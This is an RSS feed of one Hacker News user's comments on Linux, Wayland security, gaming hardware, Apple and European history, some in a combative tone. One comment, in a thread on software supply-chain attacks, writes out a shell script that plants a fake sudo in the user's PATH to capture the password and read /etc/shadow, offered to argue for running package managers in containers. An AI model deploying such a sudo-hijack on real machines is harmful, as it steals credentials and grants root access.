<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: sergeykish</title><link>https://news.ycombinator.com/user?id=sergeykish</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Tue, 28 Jul 2026 01:20:48 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=sergeykish" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by sergeykish in "Asahi Linux 7.1 Progress Report"]]></title><description><![CDATA[
<p>Culture that gave world "microagression", "harasment", cancel culture and now numeric "hate". "Not toxic".<p>> Nobody wants to be treated how Torvalds treated people.<p>Exactly, nobody wants but so many can't stop until treated.<p>> Stop this "we can break stuff" crap. Who maintains udev? Regressions are not acceptable. I'm not going to change the kernel because udev broke, f*ck it. Seriously. More projects need to realize that regressions are totally and utterly unacceptable. ... That just encourages those package maintainers to be shit maintainers. ... And stop blaming the kernel for user space breakage!...<p>Hate 0.832673044602<p>For common sense.</p>
]]></description><pubDate>Wed, 01 Jul 2026 18:38:19 +0000</pubDate><link>https://news.ycombinator.com/item?id=48751354</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48751354</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48751354</guid></item><item><title><![CDATA[New comment by sergeykish in "Steam Machine launches today"]]></title><description><![CDATA[
<p>Entity asks question, unable to comprehend answer, claim any gaming leads to Valve revenue, discards video editing and art examples. Please stop wasting bytes.</p>
]]></description><pubDate>Wed, 24 Jun 2026 20:29:20 +0000</pubDate><link>https://news.ycombinator.com/item?id=48665234</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48665234</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48665234</guid></item><item><title><![CDATA[New comment by sergeykish in "Steam Machine launches today"]]></title><description><![CDATA[
<p>We have entire handheld lines for console emulators. More performant GPUs useful for Dolphin, PPSSPP, RPCS3, Ryujinx. GPU used for 3D modelling and sculpting, video editing, encoding. Steam machine subsidized by $200 PC would be used for anything but Steam, payed by Steam users.<p>You've ignored "art, video editing" and you claim that your point ignored? Why do you type words at all if issue is their consumption?</p>
]]></description><pubDate>Wed, 24 Jun 2026 10:51:27 +0000</pubDate><link>https://news.ycombinator.com/item?id=48657886</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48657886</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48657886</guid></item><item><title><![CDATA[New comment by sergeykish in "Steam Machine launches today"]]></title><description><![CDATA[
<p>If Valve subsidizes PC by $200 why would people not buy for office, art, video editing? And gaming is not only Steam, there is also GOG, EGS, Microsoft Store.</p>
]]></description><pubDate>Tue, 23 Jun 2026 21:00:16 +0000</pubDate><link>https://news.ycombinator.com/item?id=48651351</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48651351</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48651351</guid></item><item><title><![CDATA[New comment by sergeykish in "Steam Machine launches today"]]></title><description><![CDATA[
<p>Steam Machine is PC. Attempt to answer why I should not buy subsidized PC for work, install whatever OS, not buy any game.</p>
]]></description><pubDate>Tue, 23 Jun 2026 20:51:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=48651213</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48651213</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48651213</guid></item><item><title><![CDATA[New comment by sergeykish in "Apple's weird anti-nausea dots cured my car sickness"]]></title><description><![CDATA[
<p>Nausea is from Latin "seasickness", known for thousands years.<p>From my experience bus was the worst as you can't get front seat, even worse were backward positioned seats. Train and plane were great. Car in the middle, depend on road and driving style.<p>If I was on bus during childhood you would know by stops it made. We avoided that by traveling by car.</p>
]]></description><pubDate>Wed, 17 Jun 2026 07:22:31 +0000</pubDate><link>https://news.ycombinator.com/item?id=48566946</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48566946</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48566946</guid></item><item><title><![CDATA[New comment by sergeykish in "macOS 27 Beta breaks the ability to boot Asahi Linux"]]></title><description><![CDATA[
<p>Apple transformed handheld computing into walled garden, brainwashed installation into "sideloading". Apple software update made Apple laptops to fail booting Linux.<p>"Concerned people are insane anti-Apple without any solid arguments, lol"</p>
]]></description><pubDate>Fri, 12 Jun 2026 09:29:23 +0000</pubDate><link>https://news.ycombinator.com/item?id=48501851</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48501851</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48501851</guid></item><item><title><![CDATA[New comment by sergeykish in "Maybe you shouldn't install new software for a bit"]]></title><description><![CDATA[
<p>Copy Fail can't affect files it can't access.<p>PoC attack on k8s [1] claims execution through sibling layers of kube-proxy, host filesystem access through /dev/ [2].<p>[1] <a href="https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC" rel="nofollow">https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...</a><p>[2] <a href="https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC/blob/main/payload/payload.c" rel="nofollow">https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...</a></p>
]]></description><pubDate>Fri, 08 May 2026 13:42:36 +0000</pubDate><link>https://news.ycombinator.com/item?id=48063026</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48063026</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48063026</guid></item><item><title><![CDATA[New comment by sergeykish in "Maybe you shouldn't install new software for a bit"]]></title><description><![CDATA[
<p>Run in docker container:<p><pre><code>    $ docker run -it -v.:/app -w /app node:alpine /bin/sh
    /app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
    /bin/sh: docker: not found
</code></pre>
I've described attack from host user and isolating attacker with docker.</p>
]]></description><pubDate>Fri, 08 May 2026 11:56:19 +0000</pubDate><link>https://news.ycombinator.com/item?id=48061832</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48061832</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48061832</guid></item><item><title><![CDATA[New comment by sergeykish in "Maybe you shouldn't install new software for a bit"]]></title><description><![CDATA[
<p>Web pages handled by browsers. Linux desktop running code without sandbox is reckless, relied on verification by distro maintainers, does not work the moment users run proprietary software.<p>Programming language packages issue only because we don't have zero trust for modules — no restrictions to open socket or file system. Issue is not count, pure function leftPad can't hurt you.</p>
]]></description><pubDate>Fri, 08 May 2026 11:00:34 +0000</pubDate><link>https://news.ycombinator.com/item?id=48061387</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48061387</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48061387</guid></item><item><title><![CDATA[New comment by sergeykish in "Maybe you shouldn't install new software for a bit"]]></title><description><![CDATA[
<p>Linux distributions do not need Copy Fail to get root access:<p><pre><code>    echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc

    mkdir -p .local/bin/
    cat <<EOF >.local/bin/sudo
    read -rs -p "[sudo] password for $USER: " PASSWORD
    echo ""
    echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
    EOF

    chmod +x .local/bin/sudo
</code></pre>
attack on next sudo call, shows data accessible only to root.<p>Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:<p><pre><code>    $ docker run -it -v.:/app -w /app node:alpine /bin/sh
</code></pre>
long term environments defined in docker compose:<p><pre><code>    $ docker-compose.yml
    services:
      app:
        image: node:alpine
        volumes:
          - .:/app
        working_dir: /app
        command: /bin/sh
    $ docker compose run app
</code></pre>
switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.</p>
]]></description><pubDate>Fri, 08 May 2026 10:26:54 +0000</pubDate><link>https://news.ycombinator.com/item?id=48061151</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=48061151</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48061151</guid></item><item><title><![CDATA[New comment by sergeykish in "200 MB RAM FreeBSD desktop"]]></title><description><![CDATA[
<p>API is contract. API grants access to screen content, key presses. Users blame Wayland for breaking this contract. Both Wayland and XLibre namespaces brake it. Lunduke mob unable to reason, claims "moving goalposts". Lunduke mob claims improving security is not needed. Lunduke mod wants Linux desktop to be malware can. They claim security improvements for everyone (like defaults on Android) is corporations taking away their freedom. Lunduke mob unable to comprehend Wayland started by XOrg developers who knew X11 flaws. They unable to be thankful for people bringing security to modern expectations.</p>
]]></description><pubDate>Sat, 24 Jan 2026 10:30:50 +0000</pubDate><link>https://news.ycombinator.com/item?id=46742429</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=46742429</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46742429</guid></item><item><title><![CDATA[New comment by sergeykish in "200 MB RAM FreeBSD desktop"]]></title><description><![CDATA[
<p>Once you enable XLibre namespaces filtering it breaks screensharing, global hotkeys. Obviously. It is breaking change.<p>> Doesn't own a mob, and never happened. Horrible accusation, by the way.<p>Mob unable to response on technical question. To use logic.<p>> Citation needed.<p>His YouTube comment section speaks volumes. He manipulates technically uneducated.</p>
]]></description><pubDate>Fri, 23 Jan 2026 10:01:08 +0000</pubDate><link>https://news.ycombinator.com/item?id=46730583</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=46730583</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46730583</guid></item><item><title><![CDATA[New comment by sergeykish in "200 MB RAM FreeBSD desktop"]]></title><description><![CDATA[
<p>Xephyr or Xnest sandbox break screensharing, global shortkeys.<p>You've just confirmed obvious. No way to improve security without breaking changes. And you demand mostly nontechnical users to blacklist applications. That's a recipe for disaster.</p>
]]></description><pubDate>Fri, 23 Jan 2026 09:55:09 +0000</pubDate><link>https://news.ycombinator.com/item?id=46730544</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=46730544</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46730544</guid></item><item><title><![CDATA[New comment by sergeykish in "200 MB RAM FreeBSD desktop"]]></title><description><![CDATA[
<p>Name how it's possible to improve security on X11 without breakig changes.<p>Lunduke made factually wrong claims for hype. His mob are keen to attack Open Source developers.</p>
]]></description><pubDate>Thu, 22 Jan 2026 08:18:28 +0000</pubDate><link>https://news.ycombinator.com/item?id=46716539</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=46716539</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46716539</guid></item><item><title><![CDATA[New comment by sergeykish in "200 MB RAM FreeBSD desktop"]]></title><description><![CDATA[
<p>When people believe "they are product", bully Open Source developers for not following their demands and got expected response than entities appear that validate their wrongs for views (money).<p>Lunduke spreads misinformation. That's anti Open Source, anti community.</p>
]]></description><pubDate>Wed, 21 Jan 2026 18:34:55 +0000</pubDate><link>https://news.ycombinator.com/item?id=46709585</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=46709585</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46709585</guid></item><item><title><![CDATA[New comment by sergeykish in "The state of Schleswig-Holstein is consistently relying on open source"]]></title><description><![CDATA[
<p>"Poland provoked occupation by Germany" (1939)? Germany "liberated Czechoslovakia Germans" by occupation and annexation (1938)? How occupation and annexation of neighbors ended for WW2 Germany (1938-1945)?<p>In 2014 Moscow invaded Ukraine, occupied Crimea, Donetsk, Luhanks. In 2022 Moscow invaded again. No NATO forces in Ukraine. No Moscow forces on NATO members territory. Trump officials unable to answer who started war, you blame NATO, both you and Trump aligned with Moscow.</p>
]]></description><pubDate>Sun, 07 Dec 2025 23:17:45 +0000</pubDate><link>https://news.ycombinator.com/item?id=46186398</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=46186398</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46186398</guid></item><item><title><![CDATA[New comment by sergeykish in "What we talk about when we talk about sideloading"]]></title><description><![CDATA[
<p>Windows RT "sideloading" denied for ordinary users, costly for Line-of-Business apps (2012).<p>Microsoft UWP only Microsoft Store. Microsoft backtracked their walled garden Windows plans for a while as result of Windows Phone fiasco.<p>Yes, we are.</p>
]]></description><pubDate>Wed, 29 Oct 2025 02:50:44 +0000</pubDate><link>https://news.ycombinator.com/item?id=45742077</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=45742077</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45742077</guid></item><item><title><![CDATA[New comment by sergeykish in "Element: setHTML() method"]]></title><description><![CDATA[
<p>So `.setHTML("<script>...</script>")` does not set HTML?</p>
]]></description><pubDate>Thu, 23 Oct 2025 01:25:01 +0000</pubDate><link>https://news.ycombinator.com/item?id=45677170</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=45677170</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45677170</guid></item><item><title><![CDATA[New comment by sergeykish in "How I Use Kagi"]]></title><description><![CDATA[
<p>Molotov-Ribbentrop Pact — Moscow divided Poland with Germany (1939), invaded Finland (1939), occupied Baltic States (1940) — for two years of WW2 Moscow was Germany ally. After WW2 Moscow occupied half of Europe for 45 years, countries become free less than 50 years ago. Moscow made North Korea and China regimes, still supports dictatorship across the world, occupies and annexes neighbors.</p>
]]></description><pubDate>Fri, 18 Jul 2025 05:35:46 +0000</pubDate><link>https://news.ycombinator.com/item?id=44601544</link><dc:creator>sergeykish</dc:creator><comments>https://news.ycombinator.com/item?id=44601544</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=44601544</guid></item></channel></rss>